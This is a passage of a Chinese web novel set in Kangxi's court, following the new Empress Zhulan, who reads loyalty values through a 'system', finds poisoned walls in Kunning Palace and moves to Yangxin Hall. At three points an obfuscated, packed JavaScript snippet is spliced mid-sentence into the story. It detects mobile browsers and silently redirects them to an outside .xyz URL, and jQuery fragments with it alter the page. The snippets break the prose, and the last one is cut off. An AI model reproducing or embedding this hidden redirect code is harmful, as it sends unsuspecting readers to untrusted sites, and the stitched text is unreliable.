此刻望着珠兰泫然欲泣的模样,他才惊觉自己疏漏了——待嫁闺中的女子,难与家中男性亲属相见,或许葛布喇根本寻不到机会传递讯息,又或是辗转传达间失了本意,让珠兰会错了意。 他从未怀疑葛布喇的忠心,甚至为他可能办砸了差事找好了理由。 殿内的烛火突然摇曳起来,将皇帝的影子在墙上晃得破碎。 康熙张了张嘴,那些平日里在朝堂上侃侃而谈的言辞,此刻竟堵在喉间发不出声。此女子这般反应,定是爱他的。可他的行径,终归伤了她。 原本笃定的心泛起酸涩,像是尝了未熟的青杏,又苦又涩地漫开。他鬼使神差地伸出手,悬在珠兰肩头上方迟迟不敢落下,生平第一次,在这寂静的坤宁宫里,感到前所未有的无措。 珠兰终究憋不住,无声地笑得弯下腰去,眼泪顺着眼角滑落,沾湿了绣着并蒂莲的衣襟。她用帕子捂住嘴,反复将笑意压下去,时不时抽泣一声,许久才敢抬起头来。泛红的双眼氤氲着水光,眼尾的红晕似霞,倒真像是方才哭狠了的模样。 康熙望着她这般情态,又好气又好笑,无奈地叹了口气,终究在床边重新坐下。 烛火跳动间,他斟酌着开口,将传教士带来的西方医学理论娓娓道来:“那些泰西传教士说,男女若过早孕育子嗣,气血未稳,不仅伤身,更折寿数……” 珠兰托着腮,眸光专注地望着他,适时露出惊讶、思索的神情,仿若从未听过这些新奇言论。 她不时提出疑问,或是顺着康熙的思路延伸探讨,从人体脉络到气血调养,两人的见解竟不谋而合。 康熙越说越兴奋,平日里与大臣们议事时的拘谨沉稳全然消散,只觉眼前人聪慧通透,比那些迂腐的学士更能领会他的心思。 原来是纳喇玉宁最能迎合他意,后来是钮钴禄萨琳能与他谈论西学,房中一个董氏有些文采,过往珠兰对他体贴有之,尊敬有之,话却不多。此刻却方知,知己乃是皇后啊。 烛泪顺着鎏金烛台缓缓淌落,不知不觉已过了一个时辰。 珠兰吃得尽兴,见康熙说得眉飞色舞、口干舌燥,斟了杯茶递过去:“皇上快润润喉。” 茶香氤氲间,康熙望着她眉眼间的关切,忽觉这坤宁宫的夜,竟比想象中还要温暖几分。 自春日一别,康熙已有许久未与珠兰相见。 八月梧桐初黄时,他在慈宁宫回廊的阴影里,远远望见珠兰捧着朝见礼款步而入。她鬓边新换的白玉珍珠簪子在阳光下一闪,却始终未曾抬头望向假山后驻足的少年天子。 那时他便发现,时光并未在她身上筑起疏离的高墙。 此刻坤宁宫的烛火将两人的影子叠在百子图幔帐上,珠兰歪着头剥瓜子的模样,与记忆里总爱读书偷闲的少女别无二致。 她伸手将果仁轻弹入他掌心时,袖口暗香混着糕点甜腻扑面而来,恍惚间竟有了几分寻常人家兄妹相处的随意。不,她爱慕他,是夫妻之情。皇帝如此笃定,她定然是爱惨了。 这份不加掩饰的亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15823608|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昵,让他无需端着帝王威仪,只需做玄烨便是,那些在朝堂与书房里积攒的疲惫,竟在她三言两语间悄然消散。 她与葛布喇相似又不同,是温软的,是甜香的。 “皇上方才说的西洋历法,倒与钦天监的算法大不相同。”珠兰托腮的指尖轻点桌面,漂亮指甲在烛光下划出细亮的弧线。烛火在鎏金烛台上明明灭灭,她随手将瓜子壳抛进青瓷碟,发出清脆的“嗒”声。 康熙见她侃侃而谈时娇俏可爱的模样,全然不似宫中人谨小慎微的姿态,倒让他想起儿时在后花园追逐流萤的欢快。他喜欢,这种感觉,恣意。 当她指着烛火反驳他“西洋日晷未必比浑天仪精准”时,眼中闪烁的光芒,让他恍然惊觉——原来这世上真有人能与他平视交谈,既不被皇权压弯脊梁,也不用虚与委蛇的奉承堆砌对话。 这份自在,远比朝堂上的山呼万岁更叫人心安。 葛布喇跪在丹墀下听他训斥鳌拜余党时,脊背挺得笔直如松,却再没了幼时将他揽在肩头时的亲昵。佟国纲递上密折时,指尖悬在御案三寸外的距离,丈量出君臣间难以逾越的鸿沟。 随着鳌拜倒台,他的诏令化作雷霆万钧,可那些匍匐在脚下的身影,也将他推上了愈发孤绝的高位。 “皇上走神了。”珠兰笑着推来一盏温茶,裹着茉莉清甜漫入鼻尖。 康熙望着她鬓边散落的碎发,忽然想起《礼记》里“伉俪情深”四字。原来天子并非注定孤家寡人,“帝后亦为夫妻”的念头,在风中悄然系上了心。 而珠兰垂眸掩住眼底微光,腕间银镯不经意擦过茶盏,发出细碎声响。 她心里盘算如何将系统渗入每个角落,从内务府的采买账目,到太皇太后身边宫女的动向,这看似温馨的新婚夜,是她在紫禁城里“反客为主”的第一步棋。 赫舍里府上,塔娜一宿没睡,翻来覆去的想着,何时姐姐会接我进去呢。宜春打着哈欠,在门外守着,等着后半夜与碧春换班。 寿春与富春交替出门,按照大格格的吩咐在南城奔波。 马佳府上,诺敏揉着帕子,上面的精细花纹是她绣的缠枝莲花,未曾来得及送给珠兰姐姐,也不知她前月送去的那套里衣,她穿了没有。 曙隅斋内,门板上好了,伙计们都休息去了。掌柜穆尔哈看着程岫盘账,点了点头。这孩子聪明,识字,会算账,有分寸,知变通,不走科举仕途可惜了。 “小山,咱家大姐儿仁善,可没有要你们赚钱还账的意思。”穆尔哈见程岫只用了一个时辰就搞定了他铺子里需要盘三天的账目,真有些惜才,“你这本事,要是做了官,可得比咱宛平县那位大老爷强。”那位大老爷,连数都得师爷给算。 程岫有些腼腆的抿了抿唇,神色间有一丝哀愁,“掌柜的,我,我家发大水,村子都冲没了,回也回不去,哪里还敢奢望科举。” 穆尔哈一拍大腿,“孩子,你要是发愁这个,那就是白瞎了不是。咱家大姐儿在呢,一句话就给你到庄子上户了。”人伢子手里买来的,能有几个找得到家的,都没家了,查都没法子查。 就像这个小山,来的时候都烧迷糊了。救回来以后,问他,只知道老家发大水,问他老家在哪里,他也说不清,只说在南边的水边,这还是十六岁的呢。 剩下那帮,都比他小,没几个说的出自己家事的。 程岫脸皮都红了,“掌柜的,我是汉人,进不了府上当差。” 穆尔哈一怔,“进府?进府当差就做不了官了。你这天分,做个管事也白瞎。小山,你听我的,落户到宛平县,将来就在顺天府科考,只要你能考上,日后有大姐儿在,少不了你的好处,那平步青云指日可待。” 听了这话,程岫脸又一白,低下头,“我,我想出来干活儿,想早日报答大姐儿。不想,不想读书了。”葛家庄的大姐儿安排掌柜的救了他的性命,他虽不曾见过她,却心中存下了感恩。 穆尔哈瞅着程岫秃秃的脑袋,摸了摸自己的秃脑壳,这孩子不开窍。 虽说主子有话儿,赚钱也是正经事儿,可当官是最好的前程。 “罢了,你这账目算的好,将来也有机会。咱家葛大人管着天下的税赋,正招幕僚呢。你且好好学着,将来我举荐你到大姐儿跟前,说不准儿大人那儿还缺账房,你做的好了,也有一份前程。”穆尔哈想着,自己庄子上出来的人才,怎么也得给主子看看,不然显不出自己的本事来。 程岫低着头,轻轻点了点,不知是害羞,还是在想着别的什么。 21. 忽悠皇帝 九月初九寅时,紫禁城尚沉浸在浓稠的夜色中,唯有宫灯在廊下投下朦胧光晕。 康熙身着十二章纹明黄朝服,腰间玉带扣上的东珠泛着冷光;珠兰身披九凤朝阳霞帔,缀满珍珠的领约随着步伐轻响。 二人携手踏入太皇太后寝宫,金砖地面倒映着烛火摇曳的光影。 太皇太后端坐在黄花梨雕凤凰金镶玉宝座上,身后屏风绘着百寿图。 皇帝行三跪九叩大礼,双手高举镶宝石如意。 皇后稍后于皇帝站位,行六肃三跪三叩礼,奉上云锦荷包衣裳。 “帝后同心,方得长久。”太皇太后的声音在空旷的殿内回荡,侍女随即呈上寓意吉祥的八宝茶。 皇帝自行择选的皇后,只盼望着莫要再出顺治年间旧事。哀家这把老骨头,可是不想再历经后宫废后风波了。 随后,二人又至太后居所永寿宫,重复朝见礼仪,完成宫廷宗法秩序的确认。 太后只有欣喜祝福,其余一切按照规矩行事。 虽然一夜未睡,帝后二人皆精神奕奕。 辰时,晨光刺破云层,太和殿金顶熠熠生辉。康熙头戴东珠朝冠,在龙椅上落座,阶下跪满身着补服的王公大臣。 礼部尚书梁清标展开贺表,满汉双语的贺词在梁柱间回响:“伏惟皇帝大婚,乾坤合德,社稷昌隆。” 宣读完毕,康熙颁布恩诏,宣布大赦天下,诏书经黄纸誊写,由侍卫快马发往各省。 太和殿张灯结彩,归宁宴在此举行。 皇后之父噶布喇、叔父索额图等赫舍里氏族人,身着御赐蟒袍,跪谢皇恩。 康熙亲手将玉带赐予噶布喇,又赏赐绸缎、珍宝无数。珠兰虽未返家,却通过女官向家族传递金镶玉镯等信物,既保留民间回门习俗,又严守宫廷礼制。 与此同时,坤宁宫内,珠兰端坐凤椅,接受命妇的朝贺。 女官高声唱喏,引导众人行礼,此起彼伏的万福声中,彰显出中宫皇后的威仪。 随后,珠兰设赐宴礼,御膳房呈上的满汉菜肴摆满长桌,银质餐具与琉璃盏在阳光下折射出璀璨光芒。 宴席后,坤宁宫西暖阁便成为神圣禁地。萨满太太头戴鹿角神帽,身着缀满铜镜与铃铛的神袍,在供奉着索伦杆的神案前起舞。 康熙与珠兰亲自主持献牲仪式,将整猪与米酒恭敬摆上祭坛。 帝后二人偶然视线相遇,珠兰微笑,皇帝面上微红。 夜幕降临时,“背灯祭”开始,灯火尽灭,唯有萨满太太的满语祝词与太平鼓的节奏在黑暗中回荡,祈求天神庇佑帝后百年好合。 帝后仍居坤宁宫,两人已是都有些熬不住。 珠兰作势要把床让给皇帝休息,自己搬着被子去外间睡塌。 皇帝伸手一拦,自己去了外头。 春苒四个侯在外间,见是皇上出来,都有些意外。 四女面面相觑,还是快手快脚的服侍皇上就寝。 等外间四女退下,皇上呼吸平缓下来。 珠兰在里头躺下,这样刚好,她可不爱伺候人。这床也怪小,还没家里那张塔娜常常和她挤着睡的床大。以后重新装修,可得换一张更大的,最好能睡下四五个才好。 吉雅与禄雅侯在外头,吉雅冲着禄雅点点头,拿掉鼻塞仔细嗅着这坤宁宫各处。 慈宁宫 苏麻喇姑进来,太皇太后挥退了宫女们。 “怎么,还是没圆房?”太皇太后闭着眼睛,想着白日里玄烨对着珠兰不像是没有情谊的样子。 苏麻喇姑嗯了一声,蹲下继续宫女的活计,给格格捶腿。 这个孙儿,也不小了,怎么会这么不开窍。身体没问题,皇后也是他喜欢的。他竟然就这般不动如山,珠兰居然也没有不愉之色。 这对夫妻,夫唱妇随到这个程度,珠兰是也过分听话了。 可皇后不来诉苦,她又怎么挑破此事。若是骤然提及,要伤了皇帝的脸面,也划不来,毕竟两人,不,皇帝还小。 珠兰比玄烨大了三岁,她该着急的。 哀家,等着她沉不住气。 九月初十清晨,康熙神清气爽,身着玄色龙袍,率领宗室成员前往太庙。 朱红大门缓缓推开,先祖牌位在檀香烟雾中若隐若现。 康熙将大婚之事郑重记入玉牒,三跪九叩后献上祭品,祝文声中,完成向列祖列宗的禀报,确认婚姻的合法性与皇权传承的延续。 夜以继日的繁缛礼仪终于落下帷幕,珠兰终于得以卸下沉重的凤冠。 她揉着发酸的脖颈,听着殿外宫女们收拾器物的响动,靠在软榻上翻着系统面板。 扫过密密麻麻的人物属性表,珠兰的目光在“直属宫人”一列顿住。 从赫舍里府带来的四位心腹女官率先映入眼帘:尼雅、图雅、禄雅、吉雅,忠诚值稳稳悬在92-95之间。 康熙亲赐的四名女官春苒、夏苼、秋葹、冬萧分列其后,忠诚值63-67已不算低,她们对皇帝的忠诚普遍在80以上,自己已经可以用系统观察点将她们对自己的忠诚涨上去。 当视线落在内务府举荐的两人时,阿娜尔与慕珂的名字旁,刺目的橙红色数字在32-35间明灭——前者意为“石榴花”,后者则是满语译文典籍里“葡萄”的别称。内务府有心了,特意送了宜子之女过来。 再往下滑动,二十名宫女的数值如散落的星子,多数在45-65间游移,唯有一个唤作“巧云”的宫女,-31的忠诚值鲜红如血,在面板上格外扎眼。 数值为负,不是反贼就是苦主。 尼雅与禄雅已经将此女的身世都调查了一遍,安排忠诚在60以上的其他宫女盯着她,这个忠诚负数成这样的宫女,居然来自包衣世家。 而十名太监的数值出乎意料地齐整,61-65的深蓝数字排列成线。 最后两个,太皇太后赐下的穆嬷嬷,忠诚值30的灰白数字像蒙着层霜。太后拨来的苏嬷嬷,62的数值泛着温润的月白色。这俩都是伺候孕妇来的,用不上,可以荣养起来。 这时,吉雅匆匆走入东暖阁,神色凝重。 这位嗅觉敏锐的陪嫁丫头警惕地看了看四周,确认此处没有旁人,她压低声音道:“格格,这坤宁宫中有毒。这几日我仔细查探,发现这宫里的香气之下,藏着一股古怪的味道。”她顿了顿,凑近珠兰,“是铅与汞混合的气息,定是有什么物件在高温下蒸腾出了毒气。” 珠兰闻言,原本倦怠的神情瞬间消失,神色变得冰冷而锐利。 宫斗都这么直白了? 不对啊,这宫里还没有康熙的妃妾呢。 哪家提早做局? 好像内务府一直在赫舍里手里管着吧。 索尼要害我? 这有点天方夜谭了,不可能都,那葛布喇也不会干看着。 两宫对我有意见? 那也不能够上来要害命啊,而且这屋太后也住过,格局都一样。 她摩挲着腕间的银镯,脑海中迅速闪过历史记载:从明朝到如今,入住坤宁宫的皇后,大多寿数不长。有的缠绵病榻多年,有的突然暴毙,即便尊贵如后位,也难以逃脱命运的捉弄。如今想来,竟是这看似华丽尊贵的宫殿,暗藏杀机。 “这气味起初极淡,混在熏香里极为难以察觉,可随着这几日礼仪不断,殿内烛火长明、炭火不熄,那股气息便愈发明显。”吉雅坚定地回答,这是她都说难以察觉,在常人闻嗅中几乎可以忽略不计。 珠兰起身,在殿内缓缓踱步。烛光摇曳中,雕梁画栋的坤宁宫仿佛化作一头蛰伏的巨兽。 在这深宫里,表面的风光之下,不知藏着多少见不得人的事。温情脉脉,永远抵不上利益牵扯。 系统分析,想要在这吃人不吐骨头的地方活下去,想要实现自己的目标,第一步,便是要解决这潜藏在身边的致命威胁。 珠兰停下脚步,眼中闪过一丝狠厉。她比谁都清楚,经系统强化至92点的【嗅觉】意味着什么——这个数值足以分辨出御膳房燕窝粥里掺了几颗冰糖,更不会误判铅汞混合的腥甜腐味。 雪白宫墙在烛火下泛着诡异的青灰,她忽然想起汉成帝时“椒房殿”的典故,本该用花椒泥涂壁的传统,不知何时竟变成了朱砂与铅粉的毒障。 “去内务府,就说本宫要坤宁宫一年来的修缮卷宗。”珠兰扯下腕间东珠手串,圆润的珠子在掌心硌出红痕,“记得叮嘱管事,此事若走漏半点风声...”尾音消散在帐幔褶皱里,吉雅已躬身退下。 今夜,有三藩情报传来,葛布喇拉着皇帝密谈至深夜。他打发了梁九功过来传话,请皇后休息吧。 子时三刻,泛黄的卷宗在檀木案上展开。皇后,也不敢休息了。 康熙四年的修缮记录上,墙面敷层赫然列着:朱砂二十斤、铅粉三十斛、生漆五十桶。 就这么写着了,你能咋办吧。 珠兰心说,我也不能咋办。 她忽然想起大婚那日,萨满太太在西暖阁击鼓时,墙面渗出的油光——哪里是什么祥瑞之兆,分明是高温蒸腾出的毒漆在流淌。 康熙交付给赫舍里的信任,早已化作杀人的砒霜。 不,这也许不是什么毒计,而是无知。 葛布喇领着总管内务府大臣之职,坤宁宫的修缮出自赫舍里亲信之手,无论这墙面是否有问题,这一局都得赫舍里氏自己咽下去。 珠兰拍了拍手,咱倒是能验证铅汞的危害,但是这就得倒追索尼在顺治朝掌管内务府时的疏忽了。保不齐,事情掀出来,太后就得恨死赫舍里。 另想办法吧! 晨光透过乾清宫的明黄窗纱,在东暖阁的金丝檀书架上投下细碎光影。 珠兰斜倚在虎皮软垫上,指尖随意翻动着利玛窦译著的《几何原本》,外间是皇帝在骂人,尖酸之语频出,想来是气狠了。 自大婚第四日起,她每日都将琳琅满目的西学典籍翻得哗哗作响,时不时还发出惊喜的轻呼,引得乾清宫当值太监头低的更深。 康熙批阅奏章的朱笔突然一顿,墨汁在宣纸上晕开团黑影。 眼前少女鬓边的珍珠随着翻书动作轻轻摇晃,竟比御案上堆积的折子更扰人心神。 大婚时约定的避子之事如鲠在喉,他望着那双与葛布喇如出一辙的杏眼,终是将到嘴边的斥责咽了回去。罢了,她总归不曾打扰朕。 皇帝与皇后井水不犯河水的日日相处,晚间珠兰也不肯走,就赖在这里。 皇帝也不能赶走泪眼汪汪的少女,只好容忍她住下。 珠兰其实也不是很愿意对着皇帝那张脸,一对就是一天。毕竟,没那么好看。 但是回去接受毒害,就是傻了。 西边的萨满嬷嬷都有个替换,她要是回去,整日都得在里头熏着。 皇帝是头一次被迫分享自己的私人住所和书房,他有时候也默默运气,想狠狠心把珠兰赶回去。 但是一看她的眉眼,就不忍心。 葛布喇从不提任何要求,都让他女儿提了。 一会儿要靠垫,一会儿要蜜水,一会儿指挥太监搬书,一会儿还要午睡··· 康熙有时候都觉得自己该生气,还气不起来。皇后,这是舍不得离开朕,朕也不好太狠心。 珠兰压根不在乎皇帝的脾气,反正数值没涨跌,就没事。 第七日暮色渐浓时,康熙终于搁下朱批,看着在书架前来回穿梭的身影轻笑出声,“皇后日日宿在乾清宫,倒把朕这书房当自个儿闺阁了?新婚头一个月,太皇太后与太后睁一只眼闭一只眼,可满月之后呢?”他刻意板起脸,余光却瞥见珠兰指尖发白。可怜他都被挤的要让出半间屋子了,她还委屈。 珠兰睫毛剧烈颤动两下,将书册抱在胸前,活像受了惊的小鹿。明明是中宫之主,她却故意做出瑟缩模样,“那臣妾能去哪儿?坤宁宫整日锣鼓喧天,熏得人头疼……”尾音带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832870|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝毫不遮掩的哽咽。 “你是国母!”康熙起身,龙袍下摆扫过堆成小山的密折,这是找的什么破理由,舍不得朕不会直说么,“不住坤宁宫,难道真要长住乾清宫?”话一出口,他便后悔了——少女湿漉漉的眼睛望过来时,恍惚间竟与幼年记忆里,母亲临终前攥着他衣角的神情重叠。 廊下铜铃叮当作响,他烦躁地扯松明黄领口,瞥见珠兰偷偷抹眼角的动作,心尖猛地颤了颤。罢了,女子脸皮薄,怎么好说出口。 而且大婚那日的话,许是叫她伤了心,又让她没了安全感。今日,便不好与她计较许多。皇帝都没意识到,这是他头一次在自己心里给别人找借口。 议政大臣们还等着召见,可眼前人委委屈屈的模样,倒比三藩之乱更叫人束手无策。 “祖宗家法,坤宁宫西暖阁祭祀断不可停。”康熙摩挲着龙纹镇纸,目光却不自觉落在她泛红的眼角,“只是总住在乾清宫...”也是,那边太闹了,他也不爱。 “臣妾实在受不住了!”珠兰突然攥紧书册,眼眶瞬间泛起水光。暮色中,她垂首时微颤的睫毛,与记忆里母亲临终前的模样重叠。 “罢了罢了。”他猛地起身,袍角扫落案上奏折,珠兰在家时也是葛布喇宠着长大的,没道理入宫了反而要受苦,“朕将翊坤宫给你收拾出来,待坤宁宫法事结束...”喉结滚动间,他忽想起东西六宫不合适,皇后若迁入难免失了体统。而且,坤宁宫的法事是连年都有,哪有那么容易停的。 他一挥手,梁九功马上展开宫中舆图,他看过后说道:“养心殿倒还空着,明日便叫人收拾出来。”话出口,又觉不妥——那是东西六宫外离乾清宫最近的宫殿,他日常也会过去松散一二。若是给了皇后住,他就不方便用了。 话音戛然而止——少女眼中突然迸发出的笑意太过鲜活,倒像是狡黠的猫儿偷到了腥。 皇帝看着,有点直眼儿。 珠兰福了福身,发间步摇的东珠晃出细碎光芒,“谢皇上隆恩。”转身时,藏在广袖中的指尖轻轻勾了勾。乾清宫的烛火将她的影子拉得纤细,与龙椅上貌若沉思的帝王身影,在金砖地面上交织成微妙的弧线。 康熙望着她转身时发间晃动的东珠,突然反应过来哪里不对——少女脸上分明带着得逞的弧度,可他望着那与葛布喇如出一辙的眉眼,竟对着这场算计生出几分甘之如饴的荒唐。 罢了,叫她住便是了。养心殿那边离着内务府更近,葛布喇着实没有精力给朕管着家,就让他女儿去给朕管起来。 若是珠兰管不好,葛布喇就没词儿跟朕推诿了。 珠兰这般娇气…… 窗外蝉鸣聒噪,却抵不过心底翻涌的复杂思绪——珠兰蹙着眉诉说坤宁宫法事扰人时,眼尾泛红的模样总在眼前挥之不去。他本该斥责,可那声带着鼻音的“皇上救我”,竟让龙袍下的心脏漏跳一拍。 明明是她自己要躲,偏生要朕跟着头疼。他烦躁地再次扯松领口的明黄盘扣,却又忍不住回想她倚在书架旁翻阅西学书籍的模样。温婉是真,任性也不遑多让,鲜活又真实的少女,这样真实的在朕眼前。 少女指尖抚过《几何原本》时专注的神态,哪里有半分后宫妃嫔的谨小慎微。这份毫无保留的依赖,竟然叫人心痒。 夜风卷着桂花香撞进窗棂,康熙忽然惊醒——他竟在盘算如何替皇后遮掩!按祖制,皇后离开坤宁宫避居他处,需太皇太后首肯,可此刻满脑子都是如何将养心殿收拾得舒适些。 “真是乱了套。”他自嘲地笑出声,烛火将影子投在蟠龙柱上,倒像是被什么缠住了手脚。 养心殿不是不好,没有乾清宫好。 但是这边外臣太多,终归不方便。 还是养心殿吧,便是皇后住了进去,自己作为丈夫,哪里就用不得了。 皇帝想着,日后与珠兰共同在那边读书观花,也是轻松自在的。两人相视而坐,听着更漏滴答,闻着书卷墨香混着茶香、花香,便似一对情投意合的少年,背着宗族··· 这好生生的夫妻,怎么倒让朕想起金屋藏娇了。 哦,陈皇后本来就是后。 不行,她是废后,寓意不好。 这个词不能再想了。 那什么乱七八糟的偷香窃玉之事,也不许再想了。朕乃是天命加身的皇帝,生来便不凡,一身肩负朝廷民间无数大事,岂能有那等世俗之思。 珠兰乃是大清门抬进来的皇后,这般想是亵渎,不可如此,不可如此。 定是佟国维带进来的话本子闹得,朕才会想那些俗事。 明日便打发了他去京郊给朕巡视大营去,这个闲人! 可皇后,她爱慕朕。 朕虽然不好回应,却不能伤了皇后的心,那养心殿便该布置的温馨又富丽,素雅又大气。那盘龙柱子,不晓得珠兰是不是喜欢,她好像爱拿缠枝莲花的图案。 皇帝胡思乱想了一阵子,又想着珠兰这样娇气,受不得吵闹,那内务府可会让她难受。 此生,还从未有一个人是需要他去照顾、去关心、去承担责任的。珠兰是头一个,这种滋味儿竟然并不难受。 皇帝细细品味着这种滋味,唇角勾了起来。 躬身伺候的梁九功偷偷抬头,见主子少见的愣神儿,还有唇边那一抹笑,心中也有些吃惊。 当初派四女去皇后那边时,皇上一脸冷漠,让春苒务必将皇后的动向每日回禀。 那会儿,梁九功以为皇后做错了事,又不讨主子喜欢了。 可今日看,分明不是啊。 主子高深莫测,心思之深,实在不是自己能揣测清楚的。 梁九功告诫自己,定要牢记谨小慎微四个字。 隔壁间,珠兰已经踏实的睡了,什么都没想。 皇帝这边,还在挑灯夜战。 案头未批的折子上,“三藩”二字被朱砂晕染得狰狞,却不及想起珠兰时,心底泛起的那抹甜意来得真切。 22. 第二局胜 暮色悄然漫过慈宁宫的朱红宫墙,鎏金香炉中腾起的青烟若隐若现。 康熙身着一袭素色常服,坐在铺着明黄软垫的檀木椅上,殿内寂静得能听见他沉稳却略显急促的呼吸声。 太皇太后斜倚在紫檀雕花榻上,手中的佛珠随着她的动作缓缓转动,每一粒珠子碰撞的声响都似重锤,敲击着殿内紧绷的气氛。 “皇祖母,孙儿此次前来,是有要事相禀。”康熙率先打破沉默,声音低沉。 太皇太后抬了抬眼皮,浑浊的目光落在康熙身上,“皇帝日理万机,此番所为何事?” 康熙深吸一口气,“孙儿打算将坤宁宫彻底改为祭祀之地,日后仅用于帝后大婚等重大仪式。同时,让皇后迁居养心殿居住。” 话音刚落,殿内陷入了令人窒息的死寂。 太皇太后手中的佛珠猛地一顿,几粒珠子相互撞击,发出清脆却突兀的声响。 她缓缓坐直身子,表现的颇为不可置信,“皇帝,你可知自己在说什么?坤宁宫是皇后的正宫居所,这是祖宗定下的规矩,岂能说改就改?乾清坤宁,皇后若不住坤宁宫,那中宫的威仪何在?皇室的颜面又置于何处?” 康熙俯身,握着祖母的手,“皇祖母息怒。孙儿也是经过深思熟虑的。近来坤宁宫祭祀频繁,整日钟鼓喧天、香火缭绕。皇后本就体弱喜静,长久居于其间,饮食难安、夜不能寐。养心殿毗邻乾清宫,孙儿既能就近照料皇后起居,也便于处理政务。”他言辞恳切,将早已准备好的理由娓娓道来。 太皇太后的脸色愈发阴沉,“体弱喜静?哀家看皇后行册封礼时神采奕奕,哪里像受不得惊扰之人?皇帝,你莫不是在糊弄哀家?”她顿了顿,语气中带上了几分严厉,“况且,听闻皇后近日常居乾清宫,哀家起初还以为是你们夫妻恩爱,感情和睦。如今看来,竟是被你从坤宁宫中赶了出去!皇帝,你如此行事,让天下人如何看待?让皇室的脸面往哪里搁?” 康熙心中一紧,“皇祖母误会了,孙儿与皇后感情甚好,此番安排实是出于体贴。” 太皇太后冷哼一声,“感情甚好?那哀家问你,大婚至今,你与皇后为何尚未圆房?” 此言一出,康熙浑身一震,额间渗出细密的汗珠。这个问题如同利刃,直击他的要害。敬事房该整顿了,不如就让顾问行去吧。这后宫中漏的跟筛子似的,怎好全叫皇祖母操心。 未等康熙回答,太皇太后继续说道,“还有哀家为你安排的那几个包衣女子,你为何至今未曾宠幸?皇帝,你可知哀家的良苦用心?你如今尚未有子嗣,江山社稷的传承可不能耽误啊!”她的声音中带着焦急与不满,眼中满是失望。 康熙抬起头,望着太皇太后布满皱纹的脸庞,心中涌起一阵愧疚,“皇祖母,孙儿明白您的心意。只是如今朝局不稳,三藩势力庞大,孙儿一心扑在国事上,实在无心顾及儿女私情。至于子嗣之事,孙儿也在筹划之中,还望皇祖母宽心。”太皇太后并不如何喜欢洋人的学问,所以康熙也不与她争辩。 当日汤若望提及此事时,他也是半信半疑。命亲信几番打听调查,方才确定汤若望所说是真。虽然不是所有早育之人皆折寿,但年幼时所生子嗣确实难留。皇帝,不想冒一点风险。 太皇太后叹了口气,神色略显疲惫,“皇帝,哀家老了,唯一的心愿就是看着你将江山治理好,开枝散叶,延续爱新觉罗的血脉。你如此行事,让哀家如何能放心?皇后若搬出坤宁宫,后宫妃嫔难免议论纷纷,前朝官员也会妄加揣测。” 康熙再次恳切说道,“孙儿定会妥善安抚后宫、稳定朝局。此次让皇后迁居养心殿,也是权宜之计。待坤宁宫祭祀安排调整完毕,孙儿自会让皇后迁回。还望皇祖母成全。” 太皇太后沉默良久,最终摆了摆手,“罢了罢了,皇帝如今长大了,有了自己的主意,哀家也不好过多干涉。只是你要记住,做事不可任性妄为,一切都要以江山社稷为重。皇后乃一国之母,她的居所变动关乎国本,切莫因一时意气坏了大局。” 康熙如释重负,“谢皇祖母!孙儿定不负皇祖母所望。” 离开慈宁宫时,夜幕已完全笼罩了紫禁城。康熙站在宫门前,望着漫天繁星,心中五味杂陈。 殿内,太皇太后闭目轻叹,这孩子与祖母也不说实话了。当日见他与珠兰相处,虽不温不火,但能在八月时前来相见,该有几分情谊。可而今看来,皇帝对皇后之心,顶多是三分罢了。她心中竟不知是该揪心,还是该放心了。 三日后 养心殿的雕花槅扇将秋日的太阳筛成细碎的光斑,落在青砖地面上。 珠兰缓步踏入这座紧邻乾清宫的宫殿,鼻尖萦绕着若有若无的龙涎香与墨韵。 不同于坤宁宫的巍峨庄重,养心殿虽规模稍小,却处处透着雅致与精巧。湘妃竹帘随风轻晃,紫檀架上的西洋自鸣钟发出规律的滴答声,青玉镇纸下压着半卷《天工开物》,显然是康熙在此临时休憩时留下的痕迹,未曾全部收拾掉。 绕过绘着松鹤延年图的屏风,内室的布置更让珠兰眼前一亮。 博古架上错落摆放着珐琅彩瓶与西洋望远镜,墙上挂着的山水画卷旁,竟还悬着一幅《坤舆万国全图》。罗汉床上叠放着嵌金丝的厚锦褥,秋藤编垫边缘垂落的流苏随微风轻晃。几案上的鎏金暖炉正煨着龙涎香,炉口悬着的青瓷碟里盛着新摘的墨菊瓣,菊香混着暖烟袅袅升腾,将窗缝透入的清寒烘得暖意融融。窗外梧桐叶正落得簌簌,碎金般的月光筛过疏枝,在青砖地投下斑驳影纹,恰与炉中跃动的火星相映成趣。 “格格,这养心殿当真是处处合您心意。”吉雅跟在身后,眼中满是欣喜,这一处可算没有那些刺鼻的毒物味道了。 珠兰轻轻点头,指尖抚过窗棂上的万字纹,思绪却飘向了坤宁宫那暗藏危机的白墙。 消息很快传到了噶布喇耳中,他在得知女儿迁出坤宁宫的那一刻,心中便掀起惊涛骇浪。可在这深宫内院,有些话能问,有些事却不能说。正当他辗转难眠时,康熙先一步召他入乾清宫东暖阁。 东暖阁内,檀香袅袅。 噶布喇身着蟒袍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 